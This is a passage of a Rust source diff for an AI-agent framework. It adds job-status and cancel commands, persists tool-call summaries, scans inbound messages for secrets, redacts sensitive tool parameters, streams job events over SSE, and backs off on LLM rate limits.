// All thread IDs must be unique.
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 20);
// Each session should contain exactly 1 thread (its own).
for (_, session, tid) in &results {
let sess = session.lock().await;
assert!(sess.threads.contains_key(tid));
assert_eq!(sess.threads.len(), 1);
}
}
#[tokio::test]
async fn concurrent_resolve_thread_same_user_different_channels() {
let manager = Arc::new(SessionManager::new());
let channels = ["gateway", "telegram", "slack", "cli", "repl"];
let handles: Vec<_> = channels
.iter()
.map(|ch| {
let mgr = Arc::clone(&manager);
let channel = ch.to_string();
tokio::spawn(async move {
let (session, tid) = mgr.resolve_thread("multi-ch", &channel, None).await;
(channel, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
// All 5 threads must be unique (different channels = different keys).
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 5);
// All threads should live in the same session.
let sess = results[0].1.lock().await;
assert_eq!(sess.threads.len(), 5);
}
#[tokio::test]
async fn concurrent_get_undo_manager_same_thread_returns_same_arc() {
let manager = Arc::new(SessionManager::new());
let (_, tid) = manager.resolve_thread("undo-user", "gateway", None).await;
let handles: Vec<_> = (0..20)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_undo_manager(tid).await })
})
.collect();
let mut managers = Vec::new();
for handle in handles {
managers.push(handle.await.expect("task should not panic"));
}
// All 20 must point to the same UndoManager.
for m in &managers {
assert!(Arc::ptr_eq(&managers[0], m));
}
}
#[tokio::test]
async fn test_resolve_thread_finds_existing_session_thread_by_uuid() {
use crate::agent::session::{Session, Thread};
+95
View File
@@ -14,6 +14,7 @@ impl SubmissionParser {
pub fn parse(content: &str) -> Submission {
let trimmed = content.trim();
let lower = trimmed.to_lowercase();
tracing::debug!("[SubmissionParser::parse] Parsing input: {:?}", trimmed);
// Control commands (exact match or prefix)
if lower == "/undo" {
@@ -91,6 +92,13 @@ impl SubmissionParser {
args: vec![],
};
}
if lower == "/restart" {
tracing::debug!("[SubmissionParser::parse] Recognized /restart command");
return Submission::SystemCommand {
command: "restart".to_string(),
args: vec![],
};
}
if lower.starts_with("/model") {
let args: Vec<String> = trimmed
.split_whitespace()
@@ -107,6 +115,29 @@ impl SubmissionParser {
return Submission::Quit;
}
// Job commands
if lower == "/status" || lower == "/progress" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower
.strip_prefix("/status ")
.or_else(|| lower.strip_prefix("/progress "))
{
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobStatus { job_id: Some(id) };
}
}
if lower == "/list" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower.strip_prefix("/cancel ") {
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobCancel { job_id: id };
}
}
// /thread <uuid> - switch thread
if let Some(rest) = lower.strip_prefix("/thread ") {
let rest = rest.trim();
@@ -229,6 +260,18 @@ pub enum Submission {
/// Suggest next steps based on the current thread.
Suggest,
/// Check job status. No job_id shows all jobs; with job_id shows a specific job.
JobStatus {
/// Optional job ID (UUID or short prefix). If None, shows all jobs.
job_id: Option<String>,
},
/// Cancel a running job.
JobCancel {
/// Job ID (UUID or short prefix).
job_id: String,
},
/// Quit the agent. Bypasses thread-state checks.
Quit,
@@ -313,6 +356,8 @@ impl Submission {
| Self::Heartbeat
| Self::Summarize
| Self::Suggest
| Self::JobStatus { .. }
| Self::JobCancel { .. }
| Self::SystemCommand { .. }
)
}
@@ -740,6 +785,56 @@ mod tests {
);
}
#[test]
fn test_parser_job_status() {
// /status with no id → all jobs
let s = SubmissionParser::parse("/status");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /progress alias
let s = SubmissionParser::parse("/progress");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /status with id
let s = SubmissionParser::parse("/status abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// /progress with id
let s = SubmissionParser::parse("/progress abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// case insensitive
let s = SubmissionParser::parse("/STATUS");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_list() {
// /list is an alias for /status with no job_id
let s = SubmissionParser::parse("/list");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
let s = SubmissionParser::parse("/LIST");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_cancel() {
let s = SubmissionParser::parse("/cancel abc123");
assert!(matches!(s, Submission::JobCancel { job_id } if job_id == "abc123"));
// /cancel with no id → falls through to UserInput
let s = SubmissionParser::parse("/cancel");
assert!(matches!(s, Submission::UserInput { .. }));
}
#[test]
fn test_job_commands_are_control() {
assert!(SubmissionParser::parse("/status").is_control());
assert!(SubmissionParser::parse("/list").is_control());
assert!(SubmissionParser::parse("/cancel abc").is_control());
}
#[test]
fn test_parser_quit() {
assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit));
+140 -25
View File
@@ -16,10 +16,12 @@ use crate::agent::dispatcher::{
};
use crate::agent::session::{PendingApproval, Session, ThreadState};
use crate::agent::submission::SubmissionResult;
use crate::channels::web::util::truncate_preview;
use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobContext;
use crate::error::Error;
use crate::llm::ChatMessage;
use crate::tools::redact_params;
impl Agent {
/// Hydrate a historical thread from DB into memory if not already present.
@@ -69,6 +71,8 @@ impl Agent {
.filter_map(|m| match m.role.as_str() {
"user" => Some(ChatMessage::user(&m.content)),
"assistant" => Some(ChatMessage::assistant(&m.content)),
// tool_calls rows are UI metadata (tool name + preview),
// not part of the LLM conversation context.
_ => None,
})
.collect();
@@ -173,6 +177,18 @@ impl Agent {
return Ok(SubmissionResult::error("Input rejected by safety policy."));
}
// Scan inbound messages for secrets (API keys, tokens).
// Catching them here prevents the LLM from echoing them back, which
// would trigger the outbound leak detector and create error loops.
if let Some(warning) = self.safety().scan_inbound_for_secrets(content) {
tracing::warn!(
user = %message.user_id,
channel = %message.channel,
"Inbound message blocked: contains leaked secret"
);
return Ok(SubmissionResult::error(warning));
}
// Handle explicit commands (starting with /) directly
// Everything else goes through the normal agentic loop with tools
let temp_message = IncomingMessage {
@@ -315,6 +331,11 @@ impl Agent {
};
thread.complete_turn(&response);
let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
let _ = self
.channels
.send_status(
@@ -324,7 +345,9 @@ impl Agent {
)
.await;
// Persist assistant response (user message already persisted at turn start)
// Persist tool calls then assistant response (user message already persisted at turn start)
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response)
.await;
@@ -335,7 +358,7 @@ impl Agent {
let request_id = pending.request_id;
let tool_name = pending.tool_name.clone();
let description = pending.description.clone();
let parameters = pending.parameters.clone();
let parameters = pending.display_parameters.clone();
thread.await_approval(pending);
let _ = self
.channels
@@ -423,6 +446,68 @@ impl Agent {
}
}
/// Persist tool call summaries to the DB as a `role="tool_calls"` message.
///
/// Stored between the user and assistant messages so that
/// `build_turns_from_db_messages` can reconstruct the tool call history.
/// Content is a JSON array of tool call summaries.
pub(super) async fn persist_tool_calls(
&self,
thread_id: Uuid,
user_id: &str,
tool_calls: &[crate::agent::session::TurnToolCall],
) {
if tool_calls.is_empty() {
return;
}
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
let summaries: Vec<serde_json::Value> = tool_calls
.iter()
.map(|tc| {
let mut obj = serde_json::json!({ "name": tc.name });
if let Some(ref result) = tc.result {
let preview = match result {
serde_json::Value::String(s) => truncate_preview(s, 500),
other => truncate_preview(&other.to_string(), 500),
};
obj["result_preview"] = serde_json::Value::String(preview);
}
if let Some(ref error) = tc.error {
obj["error"] = serde_json::Value::String(truncate_preview(error, 200));
}
obj
})
.collect();
let content = match serde_json::to_string(&summaries) {
Ok(c) => c,
Err(e) => {
tracing::warn!("Failed to serialize tool calls: {}", e);
return;
}
};
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
if let Err(e) = store
.add_conversation_message(thread_id, "tool_calls", &content)
.await
{
tracing::warn!("Failed to persist tool calls: {}", e);
}
}
pub(super) async fn process_undo(
&self,
session: Arc<Mutex<Session>>,
@@ -591,7 +676,13 @@ impl Agent {
.ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?;
if thread.state != ThreadState::AwaitingApproval {
return Ok(SubmissionResult::error("No pending approval request."));
// Stale or duplicate approval (tool already executed) — silently ignore.
tracing::debug!(
%thread_id,
state = ?thread.state,
"Ignoring stale approval: thread not in AwaitingApproval state"
);
return Ok(SubmissionResult::ok_with_message(""));
}
thread.take_pending_approval()
@@ -599,7 +690,13 @@ impl Agent {
let pending = match pending {
Some(p) => p,
None => return Ok(SubmissionResult::error("No pending approval request.")),
None => {
tracing::debug!(
%thread_id,
"Ignoring stale approval: no pending approval found"
);
return Ok(SubmissionResult::ok_with_message(""));
}
};
// Verify request ID if provided
@@ -637,8 +734,9 @@ impl Agent {
}
// Execute the approved tool and continue the loop
let job_ctx =
let mut job_ctx =
JobContext::with_user(&message.user_id, "chat", "Interactive chat session");
job_ctx.http_interceptor = self.deps.http_interceptor.clone();
let _ = self
.channels
@@ -655,14 +753,17 @@ impl Agent {
.execute_chat_tool(&pending.tool_name, &pending.parameters, &job_ctx)
.await;
let tool_ref = self.tools().get(&pending.tool_name).await;
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::ToolCompleted {
name: pending.tool_name.clone(),
success: tool_result.is_ok(),
},
StatusUpdate::tool_completed(
pending.tool_name.clone(),
&tool_result,
&pending.display_parameters,
tool_ref.as_deref(),
),
&message.metadata,
)
.await;
@@ -812,14 +913,17 @@ impl Agent {
.execute_chat_tool(&tc.name, &tc.arguments, &job_ctx)
.await;
let deferred_tool = self.tools().get(&tc.name).await;
let _ = self
.channels
.send_status(
&message.channel,
StatusUpdate::ToolCompleted {
name: tc.name.clone(),
success: result.is_ok(),
},
StatusUpdate::tool_completed(
tc.name.clone(),
&result,
&tc.arguments,
deferred_tool.as_deref(),
),
&message.metadata,
)
.await;
@@ -861,13 +965,16 @@ impl Agent {
)
.await;
let par_tool = tools.get(&tc.name).await;
let _ = channels
.send_status(
&channel,
StatusUpdate::ToolCompleted {
name: tc.name.clone(),
success: result.is_ok(),
},
StatusUpdate::tool_completed(
tc.name.clone(),
&result,
&tc.arguments,
par_tool.as_deref(),
),
&metadata,
)
.await;
@@ -990,6 +1097,7 @@ impl Agent {
request_id: Uuid::new_v4(),
tool_name: tc.name.clone(),
parameters: tc.arguments.clone(),
display_parameters: redact_params(&tc.arguments, tool.sensitive_params()),
description: tool.description().to_string(),
tool_call_id: tc.id.clone(),
context_messages: context_messages.clone(),
@@ -999,7 +1107,7 @@ impl Agent {
let request_id = new_pending.request_id;
let tool_name = new_pending.tool_name.clone();
let description = new_pending.description.clone();
let parameters = new_pending.parameters.clone();
let parameters = new_pending.display_parameters.clone();
{
let mut sess = session.lock().await;
@@ -1040,7 +1148,14 @@ impl Agent {
match result {
Ok(AgenticLoopResult::Response(response)) => {
thread.complete_turn(&response);
// User message already persisted at turn start; save assistant response
let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
// User message already persisted at turn start; save tool calls then assistant response
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response)
.await;
let _ = self
@@ -1059,7 +1174,7 @@ impl Agent {
let request_id = new_pending.request_id;
let tool_name = new_pending.tool_name.clone();
let description = new_pending.description.clone();
let parameters = new_pending.parameters.clone();
let parameters = new_pending.display_parameters.clone();
thread.await_approval(new_pending);
let _ = self
.channels
@@ -1181,7 +1296,7 @@ impl Agent {
};
match ext_mgr.auth(&pending.extension_name, Some(token)).await {
Ok(result) if result.status == "authenticated" => {
Ok(result) if result.is_authenticated() => {
tracing::info!(
"Extension '{}' authenticated via auth mode",
pending.extension_name
@@ -1250,8 +1365,8 @@ impl Agent {
}
}
let msg = result
.instructions
.clone()
.instructions()
.map(String::from)
.unwrap_or_else(|| "Invalid token. Please try again.".to_string());
// Re-emit AuthRequired so web UI re-shows the card
let _ = self
@@ -1261,8 +1376,8 @@ impl Agent {
StatusUpdate::AuthRequired {
extension_name: pending.extension_name.clone(),
instructions: Some(msg.clone()),
auth_url: result.auth_url,
setup_url: result.setup_url,
auth_url: result.auth_url().map(String::from),
setup_url: result.setup_url().map(String::from),
},
&message.metadata,
)
+251 -25
View File
@@ -9,6 +9,7 @@ use uuid::Uuid;
use crate::agent::scheduler::WorkerMessage;
use crate::agent::task::TaskOutput;
use crate::channels::web::types::SseEvent;
use crate::context::{ContextManager, JobState};
use crate::db::Database;
use crate::error::Error;
@@ -17,8 +18,8 @@ use crate::llm::{
ActionPlan, ChatMessage, LlmProvider, Reasoning, ReasoningContext, RespondResult, ToolSelection,
};
use crate::safety::SafetyLayer;
use crate::tools::ToolRegistry;
use crate::tools::rate_limiter::RateLimitResult;
use crate::tools::{ToolRegistry, redact_params};
/// Shared dependencies for worker execution.
///
@@ -34,6 +35,8 @@ pub struct WorkerDeps {
pub hooks: Arc<HookRegistry>,
pub timeout: Duration,
pub use_planning: bool,
/// SSE broadcast sender for live job event streaming to the web gateway.
pub sse_tx: Option<tokio::sync::broadcast::Sender<SseEvent>>,
}
/// Worker that executes a single job.
@@ -98,18 +101,90 @@ impl Worker {
}
}
/// Fire-and-forget persistence of a job event.
/// Fire-and-forget persistence of a job event and SSE broadcast.
fn log_event(&self, event_type: &str, data: serde_json::Value) {
let job_id = self.job_id;
// Persist to DB
if let Some(store) = self.store() {
let store = store.clone();
let job_id = self.job_id;
let event_type = event_type.to_string();
let et = event_type.to_string();
let d = data.clone();
tokio::spawn(async move {
if let Err(e) = store.save_job_event(job_id, &event_type, &data).await {
if let Err(e) = store.save_job_event(job_id, &et, &d).await {
tracing::warn!("Failed to persist event for job {}: {}", job_id, e);
}
});
}
// Broadcast SSE for live web UI updates
if let Some(ref tx) = self.deps.sse_tx {
let job_id_str = job_id.to_string();
let event = match event_type {
"message" => Some(SseEvent::JobMessage {
job_id: job_id_str,
role: data
.get("role")
.and_then(|v| v.as_str())
.unwrap_or("assistant")
.to_string(),
content: data
.get("content")
.and_then(|v| v.as_str())
.unwrap_or("")
.to_string(),
}),
"tool_use" => Some(SseEvent::JobToolUse {
job_id: job_id_str,
tool_name: data
.get("tool_name")
.and_then(|v| v.as_str())
.unwrap_or("unknown")
.to_string(),
input: data
.get("input")
.cloned()
.unwrap_or(serde_json::Value::Null),
}),
"tool_result" => Some(SseEvent::JobToolResult {
job_id: job_id_str,
tool_name: data
.get("tool_name")
.and_then(|v| v.as_str())
.unwrap_or("unknown")
.to_string(),
output: data
.get("output")
.and_then(|v| v.as_str())
.unwrap_or("")
.to_string(),
}),
"status" => Some(SseEvent::JobStatus {
job_id: job_id_str,
message: data
.get("message")
.and_then(|v| v.as_str())
.unwrap_or("")
.to_string(),
}),
"result" => Some(SseEvent::JobResult {
job_id: job_id_str,
status: data
.get("status")
.and_then(|v| v.as_str())
.unwrap_or("completed")
.to_string(),
session_id: data
.get("session_id")
.and_then(|v| v.as_str())
.map(|s| s.to_string()),
}),
_ => None,
};
if let Some(event) = event {
let _ = tx.send(event);
}
}
}
/// Run the worker until the job is complete or stopped.
@@ -123,7 +198,7 @@ impl Worker {
tracing::debug!("Worker for job {} stopped before starting", self.job_id);
return Ok(());
}
Some(WorkerMessage::Ping) => {}
Some(WorkerMessage::Ping) | Some(WorkerMessage::UserMessage(_)) => {}
}
// Get job context
@@ -158,6 +233,37 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
match result {
Ok(Ok(())) => {
tracing::info!("Worker for job {} completed successfully", self.job_id);
// Only mark completed if still in an active, non-stuck state.
// The execution_loop may have already called mark_completed or
// mark_stuck (e.g. "plan completed but work remains").
let current_state = self
.context_manager()
.get_context(self.job_id)
.await
.map(|ctx| ctx.state);
match current_state {
Ok(state) if state.is_terminal() => {
// Already in a terminal state (e.g. execution_loop
// called mark_completed itself).
}
Ok(JobState::Stuck) => {
// execution_loop marked this as stuck (e.g. "plan
// completed but work remains"); leave for self-repair.
tracing::info!(
"Job {} returned Ok but is Stuck — leaving for self-repair",
self.job_id
);
}
Ok(_) => {
self.mark_completed().await?;
}
Err(e) => {
tracing::warn!(
job_id = %self.job_id,
"Failed to get job context, cannot mark as completed: {}", e
);
}
}
}
Ok(Err(e)) => {
tracing::error!("Worker for job {} failed: {}", self.job_id, e);
@@ -188,6 +294,8 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
.unwrap_or(50) as usize;
let max_iterations = max_iterations.min(MAX_WORKER_ITERATIONS);
let mut iteration = 0;
const MAX_CONSECUTIVE_RATE_LIMITS: usize = 10;
let mut consecutive_rate_limits = 0usize;
// Initial tool definitions for planning (will be refreshed in loop)
reason_ctx.available_tools = self.tools().tool_definitions().await;
@@ -238,15 +346,27 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
None
};
// If we have a plan, execute it
// If we have a plan, execute it. Two exit paths:
// 1. Plan ran to completion → job is Completed or needs continuation
// (check state and only fall through if not terminal)
// 2. Plan was interrupted by UserMessage → fall through to direct loop
if let Some(ref plan) = plan {
return self.execute_plan(rx, reasoning, reason_ctx, plan).await;
self.execute_plan(rx, reasoning, reason_ctx, plan).await?;
// If the plan marked the job terminal, we're done. Only fall
// through to the direct selection loop if the plan was
// interrupted or explicitly left the job in-progress.
if let Ok(ctx) = self.context_manager().get_context(self.job_id).await
&& (ctx.state.is_terminal() || ctx.state == JobState::Stuck)
{
return Ok(());
}
}
// Otherwise, use direct tool selection loop
// Direct tool selection loop (also used as fallback after plan interruption)
loop {
// Check for stop signal
if let Ok(msg) = rx.try_recv() {
// Check for stop signal and injected user messages
while let Ok(msg) = rx.try_recv() {
match msg {
WorkerMessage::Stop => {
tracing::debug!("Worker for job {} received stop signal", self.job_id);
@@ -256,6 +376,20 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
tracing::trace!("Worker for job {} received ping", self.job_id);
}
WorkerMessage::Start => {}
WorkerMessage::UserMessage(content) => {
tracing::info!(
job_id = %self.job_id,
"Worker received follow-up user message"
);
reason_ctx.messages.push(ChatMessage::user(&content));
self.log_event(
"message",
serde_json::json!({
"role": "user",
"content": content,
}),
);
}
}
}
@@ -276,12 +410,64 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
// Refresh tool definitions so newly built tools become visible
reason_ctx.available_tools = self.tools().tool_definitions().await;
// Select next tool(s) to use
let selections = reasoning.select_tools(reason_ctx).await?;
// Select next tool(s) to use, with rate-limit retry.
let selections = match reasoning.select_tools(reason_ctx).await {
Ok(s) => s,
Err(crate::error::LlmError::RateLimited { retry_after, .. }) => {
consecutive_rate_limits += 1;
let wait = retry_after.unwrap_or(Duration::from_secs(5));
tracing::warn!(
job_id = %self.job_id,
wait_secs = wait.as_secs(),
attempt = consecutive_rate_limits,
"LLM rate limited during tool selection, backing off"
);
if consecutive_rate_limits >= MAX_CONSECUTIVE_RATE_LIMITS {
self.mark_stuck("Persistent rate limiting").await?;
return Ok(());
}
self.log_event(
"status",
serde_json::json!({
"message": format!("Rate limited, retrying in {}s ({}/{})...",
wait.as_secs(), consecutive_rate_limits, MAX_CONSECUTIVE_RATE_LIMITS),
}),
);
tokio::time::sleep(wait).await;
continue;
}
Err(e) => return Err(e.into()),
};
if selections.is_empty() {
// No tools from select_tools, ask LLM directly (may still return tool calls)
let respond_output = reasoning.respond_with_tools(reason_ctx).await?;
let respond_output = match reasoning.respond_with_tools(reason_ctx).await {
Ok(o) => o,
Err(crate::error::LlmError::RateLimited { retry_after, .. }) => {
consecutive_rate_limits += 1;
let wait = retry_after.unwrap_or(Duration::from_secs(5));
tracing::warn!(
job_id = %self.job_id,
wait_secs = wait.as_secs(),
attempt = consecutive_rate_limits,
"LLM rate limited during respond_with_tools, backing off"
);
if consecutive_rate_limits >= MAX_CONSECUTIVE_RATE_LIMITS {
self.mark_stuck("Persistent rate limiting").await?;
return Ok(());
}
self.log_event(
"status",
serde_json::json!({
"message": format!("Rate limited, retrying in {}s ({}/{})...",
wait.as_secs(), consecutive_rate_limits, MAX_CONSECUTIVE_RATE_LIMITS),
}),
);
tokio::time::sleep(wait).await;
continue;
}
Err(e) => return Err(e.into()),
};
match respond_output.result {
RespondResult::Text(response) => {
@@ -393,6 +579,11 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
}
}
// Reset rate-limit counter after a successful iteration (all LLM
// calls succeeded). Placed here so alternating success/fail between
// select_tools and respond_with_tools cannot bypass the cap.
consecutive_rate_limits = 0;
// Small delay between iterations
tokio::time::sleep(Duration::from_millis(100)).await;
}
@@ -509,9 +700,10 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
// Run BeforeToolCall hook
let params = {
use crate::hooks::{HookError, HookEvent, HookOutcome};
let hook_params = redact_params(params, tool.sensitive_params());
let event = HookEvent::ToolCall {
tool_name: tool_name.to_string(),
parameters: params.clone(),
parameters: hook_params,
user_id: job_ctx.user_id.clone(),
context: format!("job:{}", job_id),
};
@@ -567,9 +759,12 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
.into());
}
// Redact sensitive parameter values (e.g. secret_save's "value") before
// they touch any observability or audit path.
let safe_params = redact_params(&params, tool.sensitive_params());
tracing::debug!(
tool = %tool_name,
params = %params,
params = %safe_params,
job = %job_id,
"Tool call started"
);
@@ -621,7 +816,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
match deps
.context_manager
.update_memory(job_id, |mem| {
let rec = mem.create_action(tool_name, params.clone()).succeed(
let rec = mem.create_action(tool_name, safe_params.clone()).succeed(
output_str.clone(),
output.result.clone(),
elapsed,
@@ -643,7 +838,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
.context_manager
.update_memory(job_id, |mem| {
let rec = mem
.create_action(tool_name, params.clone())
.create_action(tool_name, safe_params.clone())
.fail(e.to_string(), elapsed);
mem.record_action(rec.clone());
rec
@@ -662,7 +857,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
.context_manager
.update_memory(job_id, |mem| {
let rec = mem
.create_action(tool_name, params.clone())
.create_action(tool_name, safe_params.clone())
.fail("Execution timeout", elapsed);
mem.record_action(rec.clone());
rec
@@ -805,8 +1000,8 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
plan: &ActionPlan,
) -> Result<(), Error> {
for (i, action) in plan.actions.iter().enumerate() {
// Check for stop signal
if let Ok(msg) = rx.try_recv() {
// Check for stop signal and injected user messages
while let Ok(msg) = rx.try_recv() {
match msg {
WorkerMessage::Stop => {
tracing::debug!(
@@ -819,6 +1014,29 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
tracing::trace!("Worker for job {} received ping", self.job_id);
}
WorkerMessage::Start => {}
WorkerMessage::UserMessage(content) => {
tracing::info!(
job_id = %self.job_id,
"User message received during plan execution, abandoning plan"
);
reason_ctx.messages.push(ChatMessage::user(&content));
self.log_event(
"message",
serde_json::json!({
"role": "user",
"content": content,
}),
);
self.log_event(
"status",
serde_json::json!({
"message": "Plan interrupted by user message, re-evaluating...",
}),
);
// Return Ok to break out of plan; caller falls through to
// the direct selection loop for LLM re-evaluation.
return Ok(());
}
}
}
@@ -871,14 +1089,18 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
if crate::util::llm_signals_completion(&response) {
self.mark_completed().await?;
} else {
// Job not complete, could re-plan or fall back to direct selection
// Job not complete — return Ok without marking terminal so the
// caller falls through to the direct selection loop for continuation.
tracing::info!(
"Job {} plan completed but work remains, falling back to direct selection",
self.job_id
);
// Continue with standard execution loop by returning (will be picked up by main loop)
self.mark_stuck("Plan completed but job incomplete - needs re-planning")
.await?;
self.log_event(
"status",
serde_json::json!({
"message": "Plan completed but job needs more work, continuing...",
}),
);
}
Ok(())
@@ -909,6 +1131,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
self.log_event(
"result",
serde_json::json!({
"status": "completed",
"success": true,
"message": "Job completed successfully",
}),
@@ -934,6 +1157,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
self.log_event(
"result",
serde_json::json!({
"status": "failed",
"success": false,
"message": format!("Execution failed: {}", reason),
}),
@@ -954,6 +1178,7 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
self.log_event(
"result",
serde_json::json!({
"status": "stuck",
"success": false,
"message": format!("Job stuck: {}", reason),
}),
@@ -1072,6 +1297,7 @@ mod tests {
hooks: Arc::new(crate::hooks::HookRegistry::new()),
timeout: Duration::from_secs(30),
use_planning: false,
sse_tx: None,
};
Worker::new(job_id, deps)
+77 -18
View File
@@ -15,7 +15,7 @@ use crate::context::ContextManager;
use crate::db::Database;
use crate::extensions::ExtensionManager;
use crate::hooks::HookRegistry;
use crate::llm::{LlmProvider, SessionManager};
use crate::llm::{LlmProvider, RecordingLlm, SessionManager};
use crate::safety::SafetyLayer;
use crate::secrets::SecretsStore;
use crate::skills::SkillRegistry;
@@ -48,6 +48,7 @@ pub struct AppComponents {
pub skill_registry: Option<Arc<std::sync::RwLock<SkillRegistry>>>,
pub skill_catalog: Option<Arc<SkillCatalog>>,
pub cost_guard: Arc<crate::agent::cost_guard::CostGuard>,
pub recording_handle: Option<Arc<RecordingLlm>>,
pub session: Arc<SessionManager>,
pub catalog_entries: Vec<crate::extensions::RegistryEntry>,
pub dev_loaded_tool_names: Vec<String>,
@@ -71,6 +72,9 @@ pub struct AppBuilder {
db: Option<Arc<dyn Database>>,
secrets_store: Option<Arc<dyn SecretsStore + Send + Sync>>,
// Test overrides
llm_override: Option<Arc<dyn LlmProvider>>,
// Backend-specific handles needed by secrets store
#[cfg(feature = "postgres")]
pg_pool: Option<deadpool_postgres::Pool>,
@@ -99,6 +103,7 @@ impl AppBuilder {
log_broadcaster,
db: None,
secrets_store: None,
llm_override: None,
#[cfg(feature = "postgres")]
pg_pool: None,
#[cfg(feature = "libsql")]
@@ -106,11 +111,26 @@ impl AppBuilder {
}
}
/// Inject a pre-created database, skipping `init_database()`.
pub fn with_database(&mut self, db: Arc<dyn Database>) {
self.db = Some(db);
}
/// Inject a pre-created LLM provider, skipping `init_llm()`.
pub fn with_llm(&mut self, llm: Arc<dyn LlmProvider>) {
self.llm_override = Some(llm);
}
/// Phase 1: Initialize database backend.
///
/// Creates the database connection, runs migrations, reloads config
/// from DB, attaches DB to session manager, and cleans up stale jobs.
pub async fn init_database(&mut self) -> Result<(), anyhow::Error> {
if self.db.is_some() {
tracing::debug!("Database already provided, skipping init_database()");
return Ok(());
}
if self.flags.no_db {
tracing::warn!("Running without database connection");
return Ok(());
@@ -297,10 +317,17 @@ impl AppBuilder {
#[allow(clippy::type_complexity)]
pub fn init_llm(
&self,
) -> Result<(Arc<dyn LlmProvider>, Option<Arc<dyn LlmProvider>>), anyhow::Error> {
let (llm, cheap_llm) =
) -> Result<
(
Arc<dyn LlmProvider>,
Option<Arc<dyn LlmProvider>>,
Option<Arc<RecordingLlm>>,
),
anyhow::Error,
> {
let (llm, cheap_llm, recording_handle) =
crate::llm::build_provider_chain(&self.config.llm, self.session.clone())?;
Ok((llm, cheap_llm))
Ok((llm, cheap_llm, recording_handle))
}
/// Phase 4: Initialize safety, tools, embeddings, and workspace.
@@ -331,6 +358,10 @@ impl AppBuilder {
};
tools.register_builtin_tools();
if let Some(ref ss) = self.secrets_store {
tools.register_secrets_tools(Arc::clone(ss));
}
// Create embeddings provider using the unified method
let embeddings = self
.config
@@ -402,19 +433,17 @@ impl AppBuilder {
let mcp_session_manager = Arc::new(McpSessionManager::new());
// Create WASM tool runtime
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> =
if self.config.wasm.enabled && self.config.wasm.tools_dir.exists() {
match WasmToolRuntime::new(self.config.wasm.to_runtime_config()) {
Ok(runtime) => Some(Arc::new(runtime)),
Err(e) => {
tracing::warn!("Failed to initialize WASM runtime: {}", e);
None
}
}
} else {
None
};
// Create WASM tool runtime eagerly so extensions installed after startup
// (e.g. via the web UI) can still be activated. The tools directory is only
// needed when loading modules, not for engine initialisation.
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> = if self.config.wasm.enabled {
WasmToolRuntime::new(self.config.wasm.to_runtime_config())
.map(Arc::new)
.map_err(|e| tracing::warn!("Failed to initialize WASM runtime: {}", e))
.ok()
} else {
None
};
// Load WASM tools and MCP servers concurrently
let wasm_tools_future = {
@@ -651,7 +680,11 @@ impl AppBuilder {
self.init_database().await?;
self.init_secrets().await?;
let (llm, cheap_llm) = self.init_llm()?;
let (llm, cheap_llm, recording_handle) = if let Some(llm) = self.llm_override.take() {
(llm, None, None)
} else {
self.init_llm()?
};
let (safety, tools, embeddings, workspace) = self.init_tools(&llm).await?;
// Create hook registry early so runtime extension activation can register hooks.
@@ -667,6 +700,31 @@ impl AppBuilder {
// Seed workspace and backfill embeddings
if let Some(ref ws) = workspace {
// Import workspace files from disk FIRST if WORKSPACE_IMPORT_DIR is set.
// This lets Docker images / deployment scripts ship customized
// workspace templates (e.g., AGENTS.md, TOOLS.md) that override
// the generic seeds. Only imports files that don't already exist
// in the database — never overwrites user edits.
//
// Runs before seed_if_empty() so that custom templates take priority
// over generic seeds. seed_if_empty() then fills any remaining gaps.
if let Ok(import_dir) = std::env::var("WORKSPACE_IMPORT_DIR") {
let import_path = std::path::Path::new(&import_dir);
match ws.import_from_directory(import_path).await {
Ok(count) if count > 0 => {
